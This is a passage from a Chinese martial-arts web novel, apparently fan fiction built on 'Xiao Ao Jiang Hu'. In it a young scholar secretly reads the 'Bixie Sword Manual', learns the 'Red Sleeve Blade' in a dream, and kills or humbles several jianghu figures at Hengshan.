“刘妈妈客气了,子云无论如何都是晚辈,哪里有让长辈上门拜访的道理。” 陈子云这自降身份的谦逊态度自然是让刘妈妈受宠若惊,比手里拿着的几包礼物还开心。 “刘妈妈,子云刚来此地,昨天也就跟您有缘,打了个照面,可这旁边的几家却都不熟稔,不知能否劳烦刘妈妈,带我去联络一番友邻?” “可以,当然可以,这有什么的。这里住的大多都是跟老妇一般的看家管户的老婆子,老汉子,时常有空闲还聚在一起说话几句。 陈小相公,你稍等,老妇这就陪你去来。” 刘妈妈说完就匆匆的提着礼物回了屋,等她出来的时候手里还拿着几张用纸包着的煎饼,看着那上面还残存的热乎气,看来是早上刚出锅的。 “陈小相公,老妇也没什么好回礼的,就有这么几张饼子,您要是不嫌弃就收着。” “多谢刘妈妈。” 陈子云从中拿了一张就浅尝了一口,连连夸赞对方好手艺,当然这也不过是恭维之词,一张什么都不放的煎饼,哪里有什么可夸。 第六章 一窥辟邪 将剩下的煎饼交由后面跟着的福伯,陈子云自然的跟刘妈妈攀谈起来。交谈的内容无非就是得知了那一户的王老汉看着的是哪位老爷的家,这一户的谢婆子照顾的又是哪一家大人的宅。 这一路走下来,福伯手里的礼物也都送出去了,陈子云也是客气的跟这些邻居混了个脸熟。至于收到的回礼,除了刘妈妈给的那几张煎饼,就有些其他老妇自己纳的鞋底,一些在院子里种的蔬菜。 陈子云当然不会在意这些,重要的事他已经确定了,福威镖局的那间老宅,就是那上了锁的三间宅子里,靠东边的那间,说来这间宅子与他家的宅子之间也就隔了两户人家。 目标已经确定,行动就在今晚,陈子云可不会担心,这个时代的这些简单的铜锁能捆住他。 这种锁的结构着实简单,而且如果真的不能用巧的开法,直接一石头下去保证这锁就能嘣了。 至于说会不会惊扰到邻居,你也不要真的指望这些负责看家的老头老太太会多么的见义勇为。只要不是去砸他们家的门,估计他们连问都不回问一声。 下午陈子云就安静的待在自己的书房里看书,虽然一开始也有些小小的激动,但是想明白自己不过就是满足一下好奇心,而不是真的要练这见鬼的《辟邪剑谱》心里自然也就释然了。 至于考虑到后面是找哪个门派学武功,他一时也没有好的主意,要说现在武林各派跟朝廷关系最密切的,肯定是武当。 可如果要学到武当的真功夫,估计自己就得出家当道士,这显然是不可能的,自己前途似锦,怎么会去做那些事。 而且自己如今已经十八岁了,在这个三十岁就可以当爷爷的年代,自己的年龄明显已经偏大了,要现在开始学武,估计很难有所成就。 可让他就这么放弃,陈子云也是心有不甘的,那就走一步看一步吧。 三更之后,老仆人福伯早就睡下,向阳巷里也是一片漆黑,在这个年代对于普通人而言日落而息才是正常的生物钟。 而且就算你想熬夜,也会舍不得点灯,灯油蜡烛的钱可不便宜,一般的人家可耗费不起。 陈子云也没偷偷摸摸,反而是拿着准备好的一点菜油与一把用自家铜钥匙做成的开锁工具,大摇大摆的来到了福威镖局的老宅前。 望着天上明月,陈子云当下不由得嘴角一翘,想起了楚香帅那段踏月留香的出场。 “闻君有白玉美人,妙手雕成,极尽妍态,不胜心向往之。今夜子正,当踏月来取,君素雅达,必不致令我徒劳往返也。” 这《辟邪剑谱》,希望也不致令我徒劳往返才好。 将菜油灌进了锁孔,润湿这已经明显锈迹斑驳的铜锁,等了片刻用准备好的工具在锁孔中捣鼓了几下,这结构简单的铜锁便开了。 “真当是防君子不防小人啊,这回却是实实在在当了回真小人了,嘿嘿,感觉也不差。” 陈子云转身进门,将门又虚掩上,这宅子的布局倒是与自己的家的大差不差,随即来到后院也就找到了那间林远图留下的佛堂。 看着那达摩老祖像右手指向的屋顶,不由得叹息道:“既然不想让后辈重蹈覆辙,为什么还要留下的这祸乱的根源呢!” 随即手上握着的铜锁直接掷出,一声脆响,随着泥沙瓦片一同落下的就是一件红色袈裟。 “欲练神功,引刀自宫。炼丹服药,内外齐通......” 月光通过屋顶破瓦的缝隙洒下,陈子云终于是看到了这份挑起整个笑傲江湖浩劫开端的奇诡功法。 可要说又多激动,却反而没有刚才在门外开锁时的期待劲头了,看着一份注定不会去修炼的武功秘籍,实在没有什么太多的心思。 此时他的心境,有些像是一个小朋友看到其他小朋友在玩一个玩具,而当自己父母也给他买了之后发现,这玩具并没有他想象中那么好玩的心态。 草草的将袈裟上的文字默读了两边,就将这架势随手塞进了旁边的大木鱼里,至于说要陈子云重新把这东西放回原处,他是办不到的。 没有那一跃几丈高的轻身功夫,也没有功夫去准备爬梯,简单的收拾一番,捡起掉落在旁边的铜锁就往回走了。 走过后院,穿过前厅,陈子云甚至还在院子里仰头对着明月叹了句可惜,可惜这好好的院落如此荒废,想必这林家只是偶尔才会派人来维护吧。 这不是长工住着,想必收拾院落的时候也不怎么仔细,粗粗了事应付而已。 陈子云出了门,重新给院子上了锁,就当他准备回自己家宅的是时候,一声问候着实吓了他一跳。 “是林老爷家人吗,怎么这时候来老宅了?” 陈子云回想了一下这有些含糊的老汉声音,应该就是那位给一位举人家里看宅子的王老汉。 却是没想到这个点了对方还没睡熟。 陈子云并没有惊慌,也没有回头,只是用一只手托住喉头,将声音显的低沉厚重一些回答道:“嗯,老爷让我来取点东西。” 说完也就没理会这王老汉,而是一直走出了向阳巷。按照陈子云白天对这王老汉的观察,此人的眼睛有明显的眼翳,就算是大白天看人也要眯着眼睛凑近看,何况是现在。 陈子云就掩藏在巷子东首的阴影里,等这老汉回了自己的宅子才从那里出来,回了自家的宅院。 不急不缓的洗漱更衣,陈氏家族的教育可不只是学些之乎者也,治国平天下虽然远了些,但是修身齐家的功夫是少不了的。 而修身之中,遇事的静气,妥善的处理突发事件的关窍,这中间的学问才是他们这些大氏族被乡间百姓尊重的一大原因。 要是只靠四书五经上记载的那些圣人之言就能撑起一个偌大的世家,那你也太小看这千年的传承了。 别看到现在处事不惊的摸样,其实陈子云甚至连最坏的打算都做好了,哪怕是当场被抓,他也会丝毫不慌张。 第二天陈氏家族就会派出能跟福州官老爷说的上话的人物沟通,一来他没有真的盗窃什么,对方也没什么损失。 官老爷会先撮合两家协商,当摆出陈氏家族的底蕴,还有几位愿意给陈子云做不在场证明的友人时,估计福威镖局也就不会再抓着不放了。 毕竟这些人加上他们背后的势力,福威镖局要是一下子得罪干净了,他们在福州城也就别想好过了。 虽然这样的做法有些不上台面,按正理私闯民宅确实也应该问罪,可惜法固然能不容情面,但执行者法律的却是人。 而一个人又哪个是没有个三亲六故的,同在一个福州城,谁都不会因为这么一件小事就跟一个庞大的当地氏族为难,尤其陈子云还是个前途无限的青年案首。 第七章 梦中练刀 陈子云在脑海里回忆了几遍《辟邪剑谱》的内容,以他的文化水平要理解这些当然不难,只是有些涉及到内力行走的关窍的地方才有含糊。 基本的穴道他是知道的,毕竟《黄帝内经》这些的医学着作他也是有所涉猎的,只是算不上精通。 不过他也没怎么想着深究,躺下不久就安然的进入了梦乡。 这次陈子云没有再继续做那个做了十年的梦,可能是因为梦境中的自己已经和如今的他合二为一,这梦境自然也就消失了。 可这十年一梦确实没了,却出现了一个人,这个人站在一座塔顶,而这塔的四周却有青、红、黄、白四座高楼相伴。 本来这样的独特建筑已经足够人惊讶了,可陈子云看到这一身裘衣,脸色却是病恹恹的公子时,似乎所有的亭台高楼都成了陪衬,就连那天上的明月也只不过是为了照亮他而来。 “咳咳咳......” 他咳得很厉害,他用手帕捂住嘴唇,呛咳得腰也弯了,整个人都像龟一般缩了起来,连听到他咳声的人都为他感到断肠裂肺的艰苦。 陈书楼下意识的就想走过去安慰,似乎这人应当与自己很亲近。却见那青年公子摇了摇头,他手上的白巾已沾上触目的一滩红色,而他双眸像余烬里的两朵寒焰。 青年的咳嗽终于是停下来了,只是胸膛仍起伏不已,一步迈出却是直接从塔顶到了陈子云的身旁。 “我来教你一套刀法。” 也不等陈子云答应,他手中就多了一柄刀。 一柄不像刀的刀,刀锋是透明的,刀身绯红,像透明的玻璃镶裹着绯红色的骨脊,以至刀光漾映一片艳红。 刀略短,刀弯处如绝代佳人的纤腰,刀挥动时还带着一种像和天籁一般的清吟,还掠起微微的香气。 这是一把温柔的刀,温柔到一见你就愿意心甘情愿的死在这把刀下。 那青年公子开始舞刀,随即脸上再也不见半点病容,似乎只要他一动这刀,便连药石无救的大病也能一刀斩去。 青年公子的身形由慢到快,最后快到陈子云只看到一个模糊的人影,带着手中忽而闪现,忽而隐没的半点红芒。 最后一刀,绯红的刀尖就停在陈子云的鼻尖,那剔透的刀身还在轻轻的低吟,一种突如其来的欲望在猛烈的催促着陈子云,他要得到这把刀,他要学会这刀法,他也想拥有这样绝世的风华。 “看清楚了吗?” 青年公子在问他,那脸上的病容好似又找回来了。 陈子云轻轻的摇头。 “那就再看一遍。” 公子舞刀,陈子云看刀,就在这四楼一塔之间,不知多久,不知何方,难道又是一场大梦十年? 陈子云第二天醒来的第一件事情,就是拿下挂在墙上的那一柄平时用来装饰的挂剑,吩咐福伯找个铁匠铺把剑熔了,打一把刀出来。 没什么要求,只要是刀就行,在陈子云眼里,这世间除了那把美的让他难以忘怀的刀,别的刀好坏丑恶都没有什么区别,他现在只是需要一把刀而已。 接下来的日子陈子云就是宅在家里看书练刀,毕竟还有四五个月就要参加乡试,也就是所谓的“秋闱”了。 虽然他没打算这一次就能中举,但是增加一些乡试经验也是好的。期间,偶尔也跟李不器、杨弘毅这帮好友踏春出游几次,可终究重心还是放在了学业上。 至于福威镖局那里,陈子云也吩咐了福伯出门采办的时候注意一下,要是发现有什么灾祸及时通知他。 算来也是遇上了福威镖局,陈子云才从十年一梦里清醒,而且还不问自取的看了他们家的《辟邪剑谱》。虽然自己始终没练,但终究是欠下了一份因果,要是在力所能及的范围内,能帮的他也准备帮下。 其实说来,相对于青城派这种不顾王法,肆意妄为的江湖中人,陈子云还是喜欢林震南这类类似官绅的人物。 毕竟他在这个时代,也是这类人物的代表,与人为善,相互关照,福在前,威在后,其实也跟儒家提倡的为人准测很是相近,就是可惜了。 林震南却始终只能算是个江湖人,要是真的是福州的世家,就算给青城派一百个胆子也不敢如此嚣张。 一旦触怒了朝廷,就算是把青城山直接推平也不是什么难事,要知道这个时代可是有火药的。 ...... “公子,不好了,福威镖局出事了。” 本来正在书房中看书的陈子云瞬时间气势一张,把急匆匆而来的老仆人吓楞在了门外。 “福伯,慢慢说。” “是是是。” 福伯连连说了三个是,才缓和下心绪,自己这位公子自从考上秀才之后却是越来越像官老爷了。 “当时公子说让老仆注意着福威镖局的情况,起初的几天我也是有事没事就往那边转转,可总是一派好景象。 日子久了,我也就心生了懈怠,隔个两三天才去看上一趟,见还是如此,就觉得隔个三五天去也没事。 哪里想到今天我正打算出门买些蔬菜,就听见隔壁的刘妈妈在讲,那里好像是发生了瘟疫,镖局里的人都死绝了。” 福伯有些颤巍巍的看着自己家的公子,生怕自己不尽心被责骂。要知道他可是从小就卖身给了陈氏家族的,现在他的身契就在公子手里,就算是公子直接要了他的老命,他都没法反抗。 “是什么时候的事?” 陈子云皱着眉头问道,他也知道这时候追究责任毫无意义。 “听刘妈妈说,消息几天前就在传了,就是今天才传到我们这里。” 福伯的头低的更低了。 陈子云右手的食指与拇指轻轻的揉搓着,这是他思考时的习惯,这样的轻微触碰能让他更加容易的集中精神。 缕缕思绪飘过,考虑着他现在到底要不要插手进去,现在的福威镖局想必是人去楼空了。 就是不知道林震南夫妇跟林平之离开了福州没有,如果在福州境内碰不到,那自己就算一路跟着去湖南衡山城也不一定能碰的上。 而且就算碰上了自己又没有见过他们一家子,只知道林平之是个小白脸,可一路却是花成了乞丐摸样,自己就算见到也认不出。 “福伯,你帮我准备马匹行囊,我要出趟远门。” 陈子云还是决定了,该还的人情终究要还的,该救的人也应当要救。 说实在的,在陈子云眼里这个江湖上几乎没什么好人,在林平之黑化之前却真称得上一句少侠,能为一个素不相识还面容丑恶的女子出手,当真不易,只是可惜了。 “公子要去哪里?” “如果族中问起,就说我去外地游学了,短则一月,长也不会过三个月,在秋闱之前必定回来。” “是。” 在陈子云的眼神下福伯也不敢多问,转身就去准备马匹行李了。 第八章 还人情 陈子云出发之前还是来了一趟福威镖局,看着原本光鲜堂皇的建筑好似没了一点生气,不由得有些愤然这青城派的明目张胆。 他没有从前门进去,转了个弯来到了福威镖局的侧门,将马拴在一边,轻轻推门而入。 刚一进门就闻到一股酒肉的味道,这里尽然还有人在? “格老子的,是谁?” 浓重的川地口音,听着语调就知道对方酒已经喝了不少。 少许,一个头上都缠了白布,一身青袍,似是斯文打扮,却光着两条腿儿,脚下赤足,穿着无耳麻鞋的壮年汉子从院里走了出来。 身子摇晃,步伐也是歪歪扭扭,陈子云透过对方打开的门缝望进去,里面已经杯盘狼藉,却也没有其他人。 “青城派的?” 陈子云淡淡的开口,心想这青城派实在是嚣张至极,在这里做了案,还敢留人在这里逍遥。 沧浪一声,那壮汉拔剑出鞘,酒意也清醒了几分。本来以为只是个误闯误入的主,却没想到对方一下子就认出了自己身份,说不定就是福威镖局的余孽,当然要小心戒备。 “你知不知道,像你们这种既无户籍,又无路引的所谓江湖人,死了也是白死,官府连立案都不会立?” “龟儿子找死。” 那壮汉本来就是酒精上头满脸红云,此刻更是被陈子云气的仿佛脸上的血都要冲出来似的。 陈子云摇摇头,真心觉得跟这样的货色在多说一句都有些丢份,转身便要走。 “龟儿子,哪里走,死来。” 一道剑光闪过,那壮汉直冲陈子云而来,剑尖直指咽喉,这一剑不可谓不快。 可不知怎么的,在就将冲到陈子云身前的时候,这壮汉的身子突然一瘫,竟然直接就往旁边的墙上撞去,那脑袋砰咚一声撞在墙上,直接鲜血四溅。 可那壮汉似乎没有感觉到头上的疼痛,只是双手死死的捂着自己的脖子,丝丝的血液从他的指缝中流出。 原来不知什么时候,他的咽喉却已经被一刀切开,可他并没有看到陈子云出手,连现在陈子云都还保持着转身的姿势未曾反应。 那这刀到底是如何发出的,可惜他这辈子注定是没法知道了,因为他此刻已经死了,只是那瞪大的不愿瞑目的大眼,还瞧着陈子云安然的走出门口的方向。 出了门的陈子云按压这自己的印堂穴,缓和这杀人见血之后的不适之感,虽然心里知道这人死有余辜。可就算自己竭力不去看这人死不瞑目的摸样,那浓重的血腥味还是让他不喜。 “这恶心的江湖。” 陈子云轻声骂了一句,就牵着马走了。 这一路出了福州城,陈子云便骑上了马,这马是在他十四岁的时候族里给他配的,也是他学习君子六艺之中“御”的必备工具。 古时的“御”指的是驾驭战车的能力,可现在早就没有了那些,这骑马却是代替了这一必备技能。 陈子云一路快马向西北而行,直指湖南衡山城。虽然他依稀记得,好像青城派的人还有在福威镖局的湖南分局搜刮财物的,可要让他为了这些东西而特意去找那些货色的麻烦,实在是没这个兴致。 他现在的设想是早日到达衡山城,如果时间来得及就现在附近搜寻一下林震南夫妇的行踪,如果能救得下这两人的性命自然最好。如果真的赶不上了,那这欠福威镖局的这份人情就只能还在林平之身上了。 从福州到衡山城,相距不下千里,就算陈子云紧赶慢赶也整整用了两天的时间才赶到。 在衡山城找了一家客栈投宿,第一时间就跟掌柜的打听了这刘府金盆洗手大会的情况,了解到时间还有三天才开始,倒是让陈子云松了口气,总不至于白受这两天罪,空跑一趟。 这一夜他好好的休息了一番,养精蓄锐。第二天就凭着大致的方向在衡山城外都跑了一圈。 可惜这一趟下来,山间的庙宇倒是遇见了几个,却没有一个有林震南夫妇的踪迹的。难道这就是冥冥中的天意,让享了林远图三代余荫林氏一门就此断绝? 陈子云一时也有些意兴阑珊,知道自己错过今天就算能找到这对夫妇,他们怕也是难活了。 不由得把他这一趟怀着还人情的目的的情绪也没了大半,回到衡山城里,随意找了一家酒驾,正想点些酒菜,却听到楼上传来乒乒乓乓的兵器碰撞之声。 “哈哈哈,田兄,你输了。” 这声音听着有些气虚,可却是有一番洒脱之意。 陈子云挑了挑眉头,问身旁的小二道:“这里是回雁楼?” “是的客官,您放心上面的吵闹不会影响到您的,这几天城里的刘三爷办大事,来了好些江湖上的好汉。 虽然楼里的生意好了不少,可闹事的也多了,好在刘三爷早就吩咐过,在这大事期间,不管是哪个江湖人物闹事,造成的损失都由刘府承担。 所以咱们这里也就见怪不怪了,客官一看您就是读书的老爷,不用理会这些。” 小二解释着,他也是担心这位看着斯文的客人被这些江湖事给吓跑了。 陈子云挥挥手让小二先退下了,说来还真的巧了,想找的没找到,不想找的却又碰上了。 可既然碰上了,有些该杀的人自然得杀,该救的......恐怕也就是那个不谙世事的小尼姑了吧。 陈子云缓步上楼,在登上二楼的梯口的时候,却是见到一个提着单刀的男子正要下楼,脸上的神情有些恼怒的余色。 “滚开。” 那人见陈子云挡住他下楼的通道,厉声喝道。 “你是田伯光?” “知道是你田大爷,还敢当你爷爷的道!” 田伯光不由分说的就一掌向陈子云打来。 “兄台小心。” 陈子云瞥了一眼出言提醒的那位,只见他身上血迹斑斑,一副虚弱的摸样,一个貌美的小尼姑正在给她上药。 田伯光见面前的书生摸样的男子被自己的一掌吓的已经呆了,刚才被令狐冲算计的心情也好了大半,大发慈悲的收回了手上一半的力道。 想着只将这小白脸书生打的吐血就算了,留他一条小命。 可当他以为这一掌志在必得的时候,偏偏这一掌却是打空了,不是打偏,也不是打错,而是打空。 第九章 黄昏细雨苏梦枕 因为他发现刚才还在自己面前的那书生不见了,这让田伯光不得其解。 而随后身后飘来的一句“听说你的刀很快?”更是让他亡魂散魄。 也不用考量,随手就往后面斩了一刀。 可他刚转身,却发现背后依旧空无一人,只是这身后的那些客人都瞪大着眼睛看着他现在的背后,也就是楼梯口的位置。 “也不是很快嘛!” 田伯光从来没有如此惊慌过,就算当年自己做了“好事”被所谓的名门正派联合追杀千里,他也没有像今天,像现在这般恐惧过。 “你到底是人是鬼?” 田伯光连刀都不敢收回,更不敢回头,他怕一回头那人就又到了自己背后。 他被人称为万里独行,本来就是以轻功出名,可现在这人的轻功又要怎么算,快的连他都反应不过来,这世间怎么可能真的有这样的人。 “听说你的那一手快刀叫做‘飞沙走石’?” 陈子云依旧不急不缓的在说着。 “是又如何?” 田伯光到底还是有三分硬气的。 “我想试试,是你的‘飞沙走石’快,还是我的‘黄昏细雨’密。” “那就来啊,啊.....” 田伯光终究没有再坐以待毙,横刀后扫,这一刀运用了他刀法中最是迅捷的诀窍,在死亡的威胁下,这一刀快的几乎出了残影。 “小心!” 却是令狐冲看到田伯光使出的这一刀远远快于刚才与自己交手时候的刀法,不由得大声提醒陈子云。 “还不赖。” 随着陈子云的这三个字,楼上的众人依稀看到他对着田伯光挥出来的刀光轻抚了一下手。 那柄原本要砍向陈子云胸口的刀却一刀砍在了楼梯的扶手上,而离奇的是那柄刀上明明还握着田伯光的手。 可此刻的田伯光却是已经跳开了几步,难道田伯光的手还能伸展几米不成,自然是不可能的,只不过是陈子云一刀将他的手连刀一起砍了下来。 可因为陈子云的刀实在太快,手臂断了,田伯光竟然一时还没觉得疼痛。 “啊.....” 哦,这下他感觉到了。 同时他也意识到了,自己今天遇见的这个书生绝对不是自己能对抗的,咬着牙抱着断臂就一头撞向酒楼中半开着的窗户。 他想逃,逃离这个比鬼还要恐怖的书生,他发誓他如果今天能逃过这一劫,他愿意一辈子都不再做采花的勾当。 这田伯光也不想想,如今他右臂已断,一身的功夫起码废了大半,要是还敢做这些天理不容的事情,那些自诩行侠仗义的正派侠士们,能轻易放过他吗? 窗棂破碎,田伯光闻到了酒楼外的空气,这里的空气比酒楼里的少了些酒肉的俗气。 他逃出来了,他也看到自己逃出来了。 他看到那具身体穿着自己的衣服,还有断掉的半截臂膀,可为什么那就身体会没有头。 田伯光身首分离的尸体砸在了回雁楼楼下,惊起了街道里人们的一阵惊慌。陈子云没有再去管这些,而是拿过那把田伯光留下的佩刀。 “果然不错。” 原来陈子云刚才夸赞田伯光“还不赖”不是在说对方的刀法,而是在说他的这把刀。 相比于自己那把临时铸就的刀,这把刀明显算得上好刀,陈子云自然不会客气。 “这位兄台好刀法。” “黄昏细雨红袖刀,当然是好刀法,只是你真的看清楚了吗?” 陈子云并没有对令狐冲多么客气,这个人虽然有几分侠气,但是太蠢,而且也不符合他现在这个时代所受教育的伦理规范。 “黄昏细雨红袖刀,好名字,不知阁下如何称呼,在下华山派岳先生座下大弟子令狐冲,哦,这位是恒山派的仪琳师妹。” 陈子云看了令狐冲一眼,又对着仪琳笑了笑。 “既然是黄昏细雨红袖刀,那用刀的人自然就只能是苏梦枕。” “原来是苏兄,恭喜苏兄为江湖除一大害。” 此时的令狐冲才是初见田伯光,并没有什么交情,反而被对方弄的遍体鳞伤,只要他不是受虐狂,自然不会站在田伯光的一边说话。 而田伯光的光荣历史,但凡是个三观不偏的人,都不会不想杀之而后快。 “你要是再不治疗伤势,今天这江湖怕是还要少一大害。” 陈子云瞥了一眼令狐冲满身的血迹说道。 “哈哈哈,既然是江湖一害,死了又何妨!” 陈子云听了这话也是摇头,不知道岳不群那种人是如何教出这样性格的弟子的,难道还真是师娘教的不成。 陈子云并不想再搭话,打算点一桌酒席好好慰劳一番自己的肚肠。 现在这楼上经过刚才令狐冲和自己的一番打闹,一般的宾客早就跑光了,除了令狐冲跟仪琳这桌,就剩下两个桌子上还有人。 在临街的一角之中,一张小桌旁坐着个身材十分高大的和尚,另一张小桌旁坐着二人,一老一少。 陈子云留意的看了一眼那位也正好奇的打量着她的女童,果然是个精灵般的少女,要是赶得上,就救她一命吧。 “小二。” 陈子云对着楼下喊了一声,没办法这楼上不但宾客跑了,连酒保都躲到下面去了。 楼下的小二听到楼上的招呼,忐忑的上来了,可跟着上来的还有两个一看就知道是青城派的门人。 而不巧的是,这两人一上来就跟令狐冲发生了口角,看着就又要上演全武行,吓得那小二站在楼梯口不敢靠前。 “江湖人,江湖人,就非要这么闹腾才显得你们能耐吗,吃个饭都不让人安生。” 陈子云皱着眉头自语了一句,随即左手在筷子篓里一抹,两竹筷利箭一般的射向青城派的两人,他甚至连瞄准都没有。 死了也是活该,活下来就当他们运气。 “啊.....” 两声尖叫。只见陈子云发出的一只筷子插在了其中一个青城弟子的胸口,而另一只则是插在了另一个的大腿上,运气不错,都不是致命的地方。 那两个青城弟子只是惊恐的看了陈子云一眼,就立马从楼梯口逃走了,他们自己的功夫虽然不怎么样,但是也明白能用竹筷子插进人体两寸的高手肯定不是他们能相与的。 楼上的几人看着连佩剑都丢下就落荒而逃的两个青城弟子,暗想江湖上什么时候出了陈子云这般年纪,却有如此修为的高手。 “多谢苏兄出手相助。” 令狐冲抱拳称谢。 陈子云没有理会他,只是招招手,吩咐在一边还在打着哆嗦的小二哥,将酒菜看着上些来。 那小二也是忙不禁的点头答应着,他在楼下刚遇见陈子云时,还以为对方是个斯文体面的读书人家,哪里想到对方也是个出手狠辣的江湖人。 没多久酒菜就上来了,怕是店小二将上面的情况告诉了掌柜,对方也不敢怠慢了陈子云这般的狠角色。 令狐冲被仪琳扶着走了,他们现在要找个医馆看看,令狐冲虽然救人的时候可以舍生忘死,可也不会无缘无故的自己找死。 身上的伤有多重他自己知道,不躺个几天,不可能好利索。 第十章 进刘府 陈子云慢悠悠的享受着湖南的美食,相比于福州的清淡口味,这里的菜色明显的重油重辣,好在现代的记忆中也有吃辣的时候,总不至于让他此时下不了口。 陈子云无视了那临街桌上胖和尚不住的打量,倒是对那古怪精灵的小女童的窥探报之微笑。 虽然在这个时代,大多数女孩都是从小养在闺房里的,可有了现代见闻的陈子云倒是也能接受这样活泼些的女孩子。 陈子云倒了一些酒,将从田伯光手里抢来的刀淋洒清洗了几遍,别人用过的,尤其还是一个采花贼用过的东西,不消消毒,他心里不安。 哎,看来有机会还是要想办法打造一把好刀,别人的东西用着总是少了几分感觉,就是不知道能不能找到梦里那把刀一样的材质。 陈子云一边吃着,一边也想着一些今后的安排,后来楼上的人都走了,他把桌上的酒菜慢慢吃完才缓缓起身。 既然令狐冲已经到了回雁楼,那么林平之怕是也到刘府了吧。提起刀,陈子云就往这衡山城如今最热闹的地方去了。 陈子云缓缓踱步,一路向北,穿过条条街道,终是见到了那宾客络绎不绝的大宅。 一行十余人正站在门口迎客,向着那些携刀带剑的汉子们问候着。 陈子云本来是一身的书卷气,因为这段时间练刀,又多了几分精悍之气,而刚刚又杀过人,所以这刹一看,如今也像个江湖人士。 这些刘府的子弟,见他也是带着刀来的,也不疑惑对方为什么穿着官靴。只是说了句:“请进,奉茶。” 陈子云进了大厅,见里面闹哄哄的几百人,不由得皱了皱眉头。他虽然知道林平之打扮成了一个驼背的叫花子摸样,可这里的江湖人物又有哪个是真的干净的。 要让他为了个林平之,在这群不知道多久没洗澡的江湖人中间穿梭寻找,陈子云摇摇头在外围随意找了一张桌子坐下。 不久就见到仪琳小尼姑,跌跌撞撞的进了刘府来,在定逸老尼姑跟余沧海的逼问下,絮絮叨叨的终于是将自己怎么遇见的田伯光,又是怎么碰着的令狐冲给说清楚了。 其中也没口下留情,将陈子云在回雁楼的表现,说了个干净。众人虽然惊讶于他干净利落的杀了田伯光,可对于伤了两个青城派的弟子却也是纷纷声讨。 陈子云当然不会理会这些,只是四下打量着,等林平之自己现身出来。 众人皆是好奇,这江湖上什么时候出现了这么一位叫苏梦枕的青年,而这黄昏细雨红袖刀又是什么功夫,竟然让号称万里独行的田伯光毫无反抗的余地。 至于那罗人杰与那姓黎的青城弟子,只是说苏梦枕出手很快,不知怎么的筷子就插到了两人身上,至于他的刀法却是一招都没见着。 至于这后面有人挑衅余沧海,让青城弟子出丑般的展示了所谓的青城绝学“屁股向后平沙落雁式”,陈子云也不过是莞尔一笑。 直到余沧海,刘正风,和突然出来的木高峰围着一个小驼背打转,陈子云也终于确定,这就是他要找的正主了。 陈子云分开人群,来到近前,正看到余沧海也木高峰正把林平之当玩具一般蹂躏,也没客气,直接拔刀出手。 一声刀锋破风的轻吟,余、林二人感觉抓着林平之的手,像是随时要被砍断一般,连忙收手。 “是他,是他,师父,他就是回雁楼上用筷子伤我和黎师弟的那个书生。” 青城派的罗人杰立刻就认出了陈子云,这也是仇人见面份外眼红。此刻不但有自己师父在,还有在场的众多江湖人士,他自然不会再怕陈子云孤身一人。 众人皆是看向陈子云,就见到他一副书生摸样,虽然手里提着一把刀,但终究不像个凶人摸样,一时都不怎么信此人会有如此功夫。 “小子,为何出手伤我青城弟子。” 余沧海用浓重的川地口音,神色严厉的指着陈子云问道。 陈子云瞥了一眼这个矮子道士,又看了一眼一旁那个丑的让人倒胃口的驼子,都不想理会,反而是对着扮成乞丐驼子摸样的林平之道:“我欠你们林家一份人情,如果你想报仇,我可以帮你杀了余沧海。或者我带你回福州,有我在,你不用担心有人再因为《辟邪剑谱》而找你麻烦。” 陈子云此言一出,众皆哗然,有些人是觉得他夸夸其谈,一个刚刚弱冠的青年书生,竟然妄言能杀了青城派的余观主,更多的则是瞩目,这人是不是真的知道《辟邪剑谱》。 “小子狂妄。” 余沧海厉声喝到。 不过陈子云压根没理会他,一双眼睛直视看着林平之,等着他的选择。 林平之此时也是慌张,自己的行藏被叫破,余沧海跟木高峰看自己的眼神就像是一头饿狼。 此时他对这个突然出现的青年书生是又爱又恨,庆幸他此刻出来为自己说话,却又同时把自己推入了深渊,在这之后不知道有多少人会盯上自己。 “你好像不相信我说的话。” 陈子云当然也看出了林平之的犹豫。 “这位想来就是苏梦枕,苏少侠,少侠能来鄙府,刘某实感蓬荜生辉。” 陈子云看着这个身穿酱色茧绸袍子、矮矮胖胖、犹如财主模样的刘正风不由得开口说道:“刘三爷,比起显赫一方的江湖大佬,您倒更像个我辈人物。” 刘正风听了一怔,也不知道陈子云说的是什么意思,只是笑哈哈说道:“哈哈哈,多谢苏少侠抬爱。刚才我听两位青城派的贤侄讲,跟少侠之间似乎有些误会。刘某愿做个中间人,说和说和,想来苏少侠能为江湖除了田伯光这一大害,肯定也是我正派中人,些许误会,说开便是。” 陈子云看着这笑哈哈的富家翁,不由得摇摇头,指着青城派的两人道:“田伯光该杀,这两个人也有取死之道,只是当时我着实饿了想吃饭,不想被这两具尸体坏了胃口,才留了他们性命。” “竖子狂妄。” 余沧海此时如何还能忍,提着剑就往陈子云身上戳来,竟然也不管不顾还在他身前的刘正风。 陈子云抬刀一挡,有些不屑的说道:“青城派的功夫,也就是如此了。” 其实余沧海的本事已然不差,起码在历代的青城派掌门之中算得上是首屈一指的,可在陈子云眼里,他的剑法可能还不如田伯光的刀法精彩。 就算让余沧海占得了先机,三招之后,陈子云的刀已经到了余沧海的脖子上。 “啊!” 在场众人皆是哗然,余沧海更是一副见鬼了的模样,一个弱冠之年的书生,竟然起落之间就制住了名动四方的青城派之主,这让人如何能接受。 第十一章 栽赃 “少侠,少侠留情。” 刘正风赶紧挡在陈子云与余沧海中间,要是在自己府上,一个一派之主被杀,那他怕是此生都不得清净了。 陈子云没有管众人的反应只是转头问林平之道:“怎样,余沧海的命此时就在我刀下,只要你点头,我就还了你们林家这个人情。” 林平之一时惶惶的说不出话,这个害的他福威镖局鸡犬不宁,死伤遍地的罪魁祸首竟然就这么的被人轻易的制住了,而且生杀大权还交到了他的手上。 想想自己从一个什么都不懂的阔家少爷,这一路来受尽凌辱,不就是为了指望能一报大仇,救出父母吗。 林平之想到此处双膝齐跪,对着陈子云就砰砰砰的磕了三个响头。 “苏大侠,还请您大发慈悲救我父母,教我本事,林平之当牛做马报答大恩。但这余沧海杀我福威镖局百十来口,林平之要是不能手刃此人,今生不安。” “哎,真是麻烦。” 陈子云看着跪在地上的林平之顿时显的晦气,被这小子跪过的人,可没一个好下场的。 “我既然欠了你们林家一个人情,救你父母我当然能出一份力,可要教你功夫却是算了吧,还不如我一刀斩了这货。” 陈子云说着就要对余沧海下手。 “等等。” “不要。” 刘正风自然要阻止,却没想到林平之竟然先一把捉住了陈子云的刀,鲜血顿时染红了他的手掌。 陈子云皱着眉头看向林平之:“你这是做什么?” “苏大侠,林平之身负血海深仇,虽然自知资质平微,还请苏大侠看在江湖大义的份上能收我为徒。 林平之生生世世不忘大恩。” 说完就又要跪下磕头。 